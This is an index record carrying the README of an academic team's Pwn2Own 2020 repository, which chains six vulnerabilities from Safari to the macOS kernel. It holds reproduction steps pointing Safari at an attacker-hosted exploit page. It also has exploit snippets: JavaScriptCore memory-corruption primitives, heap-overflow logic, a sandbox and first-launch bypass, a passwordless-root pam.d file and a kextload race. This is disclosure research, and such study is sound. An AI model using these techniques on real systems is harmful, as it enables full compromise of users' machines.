{"id":18330901,"url":"https://github.com/sslab-gatech/pwn2own2020","last_synced_at":"2025-04-06T15:12:36.782Z","repository":{"id":49523540,"uuid":"285660570","full_name":"sslab-gatech/pwn2own2020","owner":"sslab-gatech","description":"Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities","archived":false,"fork":false,"pushed_at":"2021-03-19T19:31:59.000Z","size":44512,"stargazers_count":406,"open_issues_count":2,"forks_count":58,"subscribers_count":36,"default_branch":"master","last_synced_at":"2025-03-30T13:09:03.527Z","etag":null,"topics":["exploit","macos","pwn2own","safari"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sslab-gatech.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-08-06T20:01:44.000Z","updated_at":"2025-03-28T19:29:12.000Z","dependencies_parsed_at":"2022-09-10T17:20:36.454Z","dependency_job_id":null,"html_url":"https://github.com/sslab-gatech/pwn2own2020","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sslab-gatech%2Fpwn2own2020","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sslab-gatech%2Fpwn2own2020/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sslab-gatech%2Fpwn2own2020/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sslab-gatech%2Fpwn2own2020/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sslab-gatech","download_url":"https://codeload.github.com/sslab-gatech/pwn2own2020/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247500469,"owners_count":20948880,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","macos","pwn2own","safari"],"created_at":"2024-11-05T19:26:58.518Z","updated_at":"2025-04-06T15:12:36.764Z","avatar_url":"https://github.com/sslab-gatech.png","language":"C++","funding_links":[],"categories":["Operating Systems"],"sub_categories":["macOS/iOS"],"readme":"Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities\n======================================================================================\n\nOverview\n---------\nThis repository contains exploitation and technical details of [our Pwn2Own\n2020 winning submission targeting Apple Safari with a kernel escalation\nof privilege for macOS 10.15.3](https://www.thezdi.com/blog/2020/3/17/welcome-to-pwn2own-2020-the-schedule-and-live-results).\nFor further information, you can also check [our Blackhat USA 2020\nslides](https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf)\nand [video](https://www.youtube.com/watch?v=1M-oQY8ujVU).\nThis repository also includes [our demo video](./movie.mov) for the succesful\nexploitation.\n\n\nHow to reproduce\n-----------------\n\n1. Run the HTTP server using python3 in the exploits folder.\n\n```shell\n$ python3 -m http.server 80\n```\n\n2. Access the website with attacker server's IP with Safari:\n\n```\nhttp://[attacker_ip]/exploit.html\n```\n\n3. Wait for Calculator (usually popped in ten seconds, but if unlucky, it will\ntake some time) and a terminal with kernel privilege. To show our kernel\nprivilege escalation, we disabled SIP. You can check by running the\n`csrutil status` command, which will show `disabled`.\n\n\nBuild from source\n-----------------\nFor your convenience, we provided a compiled payload, `payload.js`. But, if you\nwant, you can build it by yourself. Note that this will take a very long time\nbecause we will build WebKit as a part of our exploit chain. It is worth to noting\nthat we only tested our building process in Mac OS.\n\n```shell\n# Install xcode first\n$ python3 -m pip install --user lief\n$ make\n```\n\nTechnical details\n-----------------\n\nTo make this exploit, we chained the following *SIX* vulnerabilities.\n\n### 1. Remote code execution in Safari via incorrect side-effect modeling of 'in' operator in JavaScriptCore DFG compiler\n\n- Root cause analysis\n\nIn JavaScriptCore, when an indexed property was queried with 'in' operator,\nthe DFG compiler assumes that it is side-effect free unless there is a proxy\nobject in its prototype chain that can intercept this operation.\nJavaScriptCore marks an object that can intercept this indexed property\naccess using the flag called 'MayHaveIndexedAccessors'. This flag is\nexplicitly marked for the Proxy object.\n\n```javascript\n0 in [] // side-effect free\n\nlet arr = [];\narr.__proto__ = new Proxy({}, {});\n0 in arr // can cause side-effect!\n```\n\nHowever, there is another object that can cause side-effect:\nJSHTMLEmbedElement that implements its own getOwnPropertySlot() method. One\nway to trigger JavaScript callbacks (i.e. side effects) with 'in' operator is\nusing `\u003cembed\u003e` element with PDF plugin; when any property is queried on\nembed / object tag's DOM object, it tries to load the backed plugin and\nDOMSubtreeModified event handler can be called in PDF plugin's case because\nit uses appendChild method on body element.\n\nThis is the stack trace of calling the side-effect from getOwnPropertySlot().\n\n```txt\nStack trace\n    #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame\u0026) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb)\n    #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame\u0026) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7)\n    #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const\u0026, WTF::String\u0026) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48)\n    #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const\u0026, WebCore::HTMLPlugInElement\u0026, WTF::URL const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026, WTF::String const\u0026, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4)\n    #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement\u0026, WTF::URL const\u0026, WTF::String const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224)\n    #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement\u0026, WTF::String const\u0026, WTF::AtomString const\u0026, WTF::String const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c)\n    #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const\u0026, WTF::String const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026, WTF::Vector\u003cWTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc\u003e const\u0026) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85)\n    #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912)\n    #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject\u0026) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e)\n    #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807)\n    #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7)\n    #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595)\n    #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681)\n    #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d)\n    #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77)\n    #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement\u0026, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26)\n    #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca)\n    #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot\u0026) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023)\n    #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot\u0026) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913)\n    #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)\n```\n\nSince any objects in the prototype chain is not marked with\n\"MayHaveIndexedAccessors\", JIT assumes that this use of 'in' operator doesn't\nhave any transitions inside eliminating the array type checks after\ntransition.\n\n```javascript\n// In the frame of \u003ciframe src=\"...pdf\"\u003e\u003c/iframe\u003e\n\nfunction opt(arr) {\n\tarr[0] = 1.1;\n\t100 in arr; // 100 not exists in arr, making it check __proto__\n\treturn arr[0]\n}\n\nfor(var i = 0; i \u003c 10000; i++) opt([1.1])\narr.__proto__ = document.querySelector('embed')\n\ndocument.body.addEventListener('DOMSubtreeModified', () =\u003e {\n\tarr[0] = {}\n})\n\ndocument.body.removeChild(embed)\nopt([1.1]) // leaks address of {} as double value\n```\n\nBy constructing addrof/fakeobj primitive from this, we could make arbitrary\nRW primitive to get code execution with the JIT-compiled JavaScript function.\n\n\n- Exploitation\n\nAfter getting addrof/fakeobj primitives, we convert it to more stable\naddrof/fakeobj primitives by faking an object.\n\n```javascript\nhostObj = {\n                                                            // hostObj.structureId\n                                                            // hostObj.butterfly\n    _: 1.1,                                                 // dummy\n    length: (new Int64('0x4141414141414141')).asDouble(),\n                                                            // -\u003e fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)\n    id: (new Int64('0x0108191700000000')).asJSValue(),\n    butterfly: null,\n    o: {},\n    executable:{\n      a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9,          // Padding (offset: 0x58)\n      unlinkedExecutable:{\n        isBuiltinFunction: 1 \u003c\u003c 31,\n        a:0, b:0, c:0, d:0, e:0, f:0,                       // Padding (offset: 0x48)\n        identifier: null\n      }\n    },\n                                                            // -\u003e fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40)\n    strlen_or_id: (new Int64('0x10')).asDouble(),           // String.size\n    target: hostObj                                         // String.data_ptr\n}\n\nhostObj.executable.unlinkedExecutable.identifier = fakeIdentifier\nFunction.prototype.toString(fakeHostObj) // function [leaked-structure-id]() { [native code] }\n```\n\nWe leak the structure id of the hostObj by making fake function object\nfakeHostObj and calling Function.prototype.toString on it. The name of\nfunction reflects the structure id value as UTF-16 string. We update the\nhostObj after leaking the structure id. It is worth to noting that this\ntechnique is from [Yong Wang's Blackhat EU 2019\ntalk](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).\n\n```javascript\nhostObj = {\n                                                            // hostObj.structureId\n                                                            // hostObj.butterfly\n    _: 1.1,                                                 // dummy\n    length: (new Int64('0x4141414141414141')).asDouble(),\n                                                            // -\u003e fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)\n    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId\n    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly\n    o: {},\n    ...\n}\n```\n\nNow we have fakeHostObj's butterfly pointing fakeHostObj itself.  We can use\naddrof/fakeobj primitive without triggering the bug again since we can access\nhostObj.o as JSValue or as double using fakeHostObj[2].\n\nUsing leaked structure id of attackObj and addrof/fakeobj primitive, we can\ncraft objects like below.\n\n```javascript\nrwObj = {\n                                                            // rwObj.structureId\n                                                            // rwObj.butterfly\n    _: 1.1,                                                 // dummy\n    length: (new Int64('0x4141414141414141')).asDouble(),\n                                                            // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20)\n    id: leakStructureId.asDouble(),                         // fakeRwObj.structureId\n    butterfly: fakeRwObj,                                   // fakeRwObj.butterfly\n\n    __: 1.1,                                                // dummy\n    innerLength: (new Int64('0x4141414141414141')).asDouble(),\n                                                            // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)\n    innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId\n    innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly\n}\n```\n\nWe can get arbitrary RW primitive using the fakeRwObj to update\nfakeInnerObj's butterfly pointer and read/write from/to fakeInnerObj. To get\nRCE from arbitrary RW primitive, we trigger the JIT compilation of the dummy\nfunction, leak the code address, overwrite it with our shellcode.  Sometimes,\ncode address leak fails because we can't read/write certain values from our\nfake array. In that case, we try to approximate it by reading from pointer\nlocation + 1 and shifting the read value.  Finally, we overwrite the code\npointer of the alert function to our dummy function code pointer and call it\n(with some arguments) to execute the shellcode.\n\n\n### 2. Arbitrary .app launching in Safari via symbolic link in didFailProvisionalLoad()\n\nFor file:// URL, Safari opens Finder window with [NSWorkspace selectFile:inFileViewerRootedAtPath:].\nThis function accepts two parameters, and in most cases, Safari only uses the\nfirst parameter, which shows the containing folder of the specified file. But\nif the second parameter is used instead, the Finder launches the file if it is\nexecutable or an app bundle.\n\nSafari uses the second parameter after confirming that the pointed path is not\napplication bundle --- directory with .app suffix. Since a symbolic link can\npoint to the application bundle, but this is not a directory with .app suffix.\nThus, Safari will launch the application pointed by the symbolic link. This\ncode path can be triggered by sending didFailProvisionalLoad() IPC message.\n\nHowever, Safari itself cannot create a symbolic link due to system call filter\nof the Seatbelt sandbox. So we use another vulnerability that gives root, but\nsandboxed code execution.\n\n\n### 3. Arbitrary code execution in CVM (Core Virtual Machine) Service via heap overflow\n\nThere is a sandboxed XPC service named com.apple.cvmsServ (i.e. CVMServer),\nwhich compiles shader for various architectures. It is part of built-in\nOpenGL framework.\n\nFor requests with \"message\" field set to 4, CVMServer parses user-specified\n\"framework data\" and \"maps\". The \"maps\" data file is located at\n\"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps\" - first %s is\nuser-specified without any filters. So directory traversal is possible; we\ncan make it parse the file created within the Safari's sandbox.\n\n```c\n    FILE *fp = fopen(\u0026framework_name_, \"r\");\n    ...\n    Header *header = malloc(0x50);\n    fread(header, 0x50, 1, v132);\n    ...\n    items_offset = header-\u003eitems_offset;\n    items_count = header-\u003eitems_count;\n    header = realloc(header, 56 * items_count + items_offset);\n    fread(\u0026header-\u003echar50, items_offset + 56 * items_count - 0x50, 1, v132);\n```\n\nIf `item_count * 56 + items_offset \u003c= 0x50`, fread() will receive underflowed\nlength near 2^64, so it becomes heap overflow with arbitrary length payload.\nNote that fread() stops when the end of specified file is reached.\n\nBy utilizing this, we could overwrite the heap object related to connection,\nwhich could modify the pointers mentioned below:\n\n```c\ncase 7: // \"message\" == 7\n    v34 = xpc_dictionary_get_uint64(input, \"heap_index\");\n    v11 = cvmsServerServiceGetMemory(a1a-\u003esession, v34, \u0026port, \u0026size);\n    if ( v11 )\n        goto error;\n    xpc_dictionary_set_mach_send(reply, \"vm_port\", port);\n\n__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4)\n{\n  Pool *pool; // rax\n  unsigned int v7; // ebx\n  heapitem *v8; // rax\n\n  pthread_mutex_lock((\u0026server_globals + 2));\n  // a1-\u003eattachedService is controlled value\n  pool = a1-\u003eattachedService-\u003econtext-\u003epool_ptr;\n  v7 = 521;\n  if ( pool-\u003epointersCount \u003e index )\n  {\n    v8 = pool-\u003epointers;\n    *port = v8[index].port;\n    *a4 = v8[index].size;\n    v7 = 0;\n  }\n  pthread_mutex_unlock((\u0026server_globals + 2));\n  return v7;\n}\n```\n\nIf the \"port\" value is 0x103 (TASK-SELF), the service will grant the client the\nsend right of CVMServer's task port, which can be used to allocate memory, and\nexecute arbitrary code on the process. To make v8[index].port == 0x103, we\nsearched the memory on the library area, which have the same addresses across\nthe processes.\n\n```txt\nrax := UserInput\n[rax+0x38] = X\n[X+0x30] = Length (UINT64_MAX)\n[X+0x28] = Y (0)\n[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)\n```\n\nThere were many areas that had two 64-bit integer value 0, -1, and for rax+0x38\nand X+0x30, we found that `_xpc_error_termination_imminent`, which is public\nsymbol, satisfies this condition. Since length is larger than 2^64 / 0x10, we\ncould calculate modular inverse to point `Y(==0)*0x18+index+0x10 == \u00260x103`.\n\nSince CVMServer had com.apple.security.cs.allow-jit set, we could call mmap\nwith MAP_JIT flag and invoke our reflective loader to execute dylib files on\nthe process. We ran this code on CVMServer:\n\n```c\n  // In /var/db/CVMS (writable folder)\n\n  char randbuf[0x1000];\n  sprintf(randbuf, \"%lu.app\", clock());\n  symlink(randbuf, \"my.app\");\n\n  // Create a valid application at my.app\n```\n\nAfter creating %lu.app and symbolic link my.app, we returned to Safari and sent\nthe IPC message to open the app. But there were two more protections: quarantine\ncheck and opening-the-app-for-the-first-time check.\n\n### 4. macOS first-time app protection bypass\n\nIf Safari tries to execute an app for the first time, Safari denies its\nexecution if the file has an attribute called com.apple.quarantine or waits a\nuser's confirmation. All files created by WebProcess has the attribute ---\ncom.apple.quarantine, however, we already can bypass this because we created\nthe folder in CVMServer process, not in WebProcess. For the user's\nconfirmation, macOS first creates the process, suspends it, and continue\nthe process after user clicks `Open` button. But sending SIGCONT signal worked\nas same as clicking the button.\n\nThus, we ran this code continuously in CVMServer after creating my.app:\n\n```c\n    for(int i = 0; i \u003c 65536; i++)\n        kill(i, SIGCONT);\n```\n\n### 5. Root privilege escalation in cfprefsd via arbitrary file / folder permission modification caused by a race condition\n\ncfprefsd is another XPC service that allows a user to create plist file. It\nis located at CoreFoundation and is recheable from most unsandboxed process.\nSince we already got unsandboxed privilege for a normal user (i.e.,\nCVMServer), we can request it to create plist file if the target folder and\nfile has sufficient permission bits that allows the client user to write to\nthe file. However, if the folder does not exist, it creates the folder of the\nplist file recursively.\n\nHere is a code snippet from CVMServer that creates the folder.\n\n```c\n_CFPrefsCreatePreferencesDirectory(path) {\n    for(slice in path.split(\"/\")) {\n        cur += slice\n        if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) {\n            chmod(cur, perm)\n            chown(cur, client_id, client_group)\n        } else break\n    }\n}\n```\n\nBut if a path points user-writable directory, a user can replace the directory\npointed by `cur`, and replace it with symbolic link to arbitrary file/folder.\nSince cfprefsd has root privilege, it is possible to change the owner of the\nfolders like /etc/pam.d. By changing the owner of /etc/pam.d, we can write\n/etc/pam.d/login with the content below:\n\n```txt\nauth       optional       pam_permit.so\nauth       optional       pam_permit.so\nauth       optional       pam_permit.so\nauth       required       pam_permit.so\naccount    required       pam_permit.so\naccount    required       pam_permit.so\npassword   required       pam_permit.so\nsession    required       pam_permit.so\nsession    required       pam_permit.so\nsession    optional       pam_permit.so\n```\n\nThen `login root` command will give the user root shell without any\nauthentication.\n\n### 6. Kernel privilege escalation using module staging bypass and race condition in kextload\n\nkextload is one of programs that can perform kext (Kernel Extension) operations\nin macOS. By running `kextload [path of .kext folder]`, a root user can load a\nsigned kext from user mode. To prevent an unsigned or an invalid signed kexts,\nkextload sets 'authenticator' callback in IOKitUser package. Unfortunately, the\npath of the kext is the only available resource for the callback, race\ncondition is hard to prevent. To mitigate this, kextload first copies the kext\nfolder into the dedicated space -- /Library/StagedExtensions --- which cannot\nbe modified even with root privilege thanks to SIP and the entitlement\nmechanism.\n\nkextload works as follows. If we execute `kextload /tmp/A.kext`, kextload\ncopies the original kext folder to /Library/StagedExtensions/tmp/[UUID].kext.\nThen, kextload checks signs of all files in the folder. If this fails, it\ndeletes the folder. Otherwise, it copies the folder to\n/Library/StagedExtensions/tmp/A.kext and load this module.\n\n```txt\n$ kextload /tmp/A.kext\n    -\u003e copy to /Library/StagedExtensions/tmp/[UUID].kext\n    -\u003e validate signatures. if failed, delete the directory\n    -\u003e if succeeded, copy to /Library/StagedExtensions/tmp/A.kext\n    -\u003e load the kext\n```\n\nOne issue in kextload is that this process can be terminated with a root\nprivilege user. It is worth noting that the aforementioned copy includes\nsymbolic link, which will be validated later. However, if we kill the kextload\nprocess before the validation, we can preserve an invalid kext with a symbolic\nlink in the /Library/StagedExtensions.\n\n```txt\n# assume /tmp/A.kext/symlink -\u003e /tmp/\n$ kextload /tmp/A.kext\n    -\u003e copy to /Library/StagedExtensions/tmp/[UUID].kext\n    -\u003e kill this process\n    -\u003e then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained\n```\n\nAfter this, if we execute another kextload command with\n`kextload /tmp/[UUID].kext/symlink/B.kext`, B.kext will be copied to the writable\nlocation for a root privilege user (e.g., /tmp/[UUID'].kext)\n\n```\n$ kextload /tmp/[UUID].kext/symlink/B.kext\n    -\u003e copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext\n    -\u003e since symlink -\u003e /tmp, this is equal to /tmp/[UUID'].kext.\n```\n\nAfter copying, kextload checks if it is located at secure location, which is\n`/Library/StagedExtensions/*`. We can temporarily place the symbolic link at\n/tmp/A.kext to point /Library/StagedExtensions/[path of valid kext]. After\nvalidation, we can replace the module binary into a unsigned kernel module, to\nget kernel code execution.\n\nTo make race reliable, we used sandbox-exec to stop the program at the file\naccess with the specified suffix.\n\n\nAuthors\n-------\n- Yonghwi Jin (jinmoteam@gmail.com)\n- Jungwon Lim (setuid0@protonmail.com)\n- Insu Yun (insu@gatech.edu)\n- Taesoo Kim (taesoo@gatech.edu)\n\nCitation\n--------\n```txt\n@inproceedings{jin:pwn2own2020-safari,\n  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},\n  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},\n  booktitle    = {Black Hat USA Briefings (Black Hat USA)},\n  month        = aug,\n  year         = 2020,\n  address      = {Las Vegas, NV},\n}\n```\n\nReference\n---------\n- https://github.com/saelo/pwn2own2018\n- https://github.com/LinusHenze/WebKit-RegEx-Exploit\n- https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html\n- https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsslab-gatech%2Fpwn2own2020","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsslab-gatech%2Fpwn2own2020","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsslab-gatech%2Fpwn2own2020/lists"}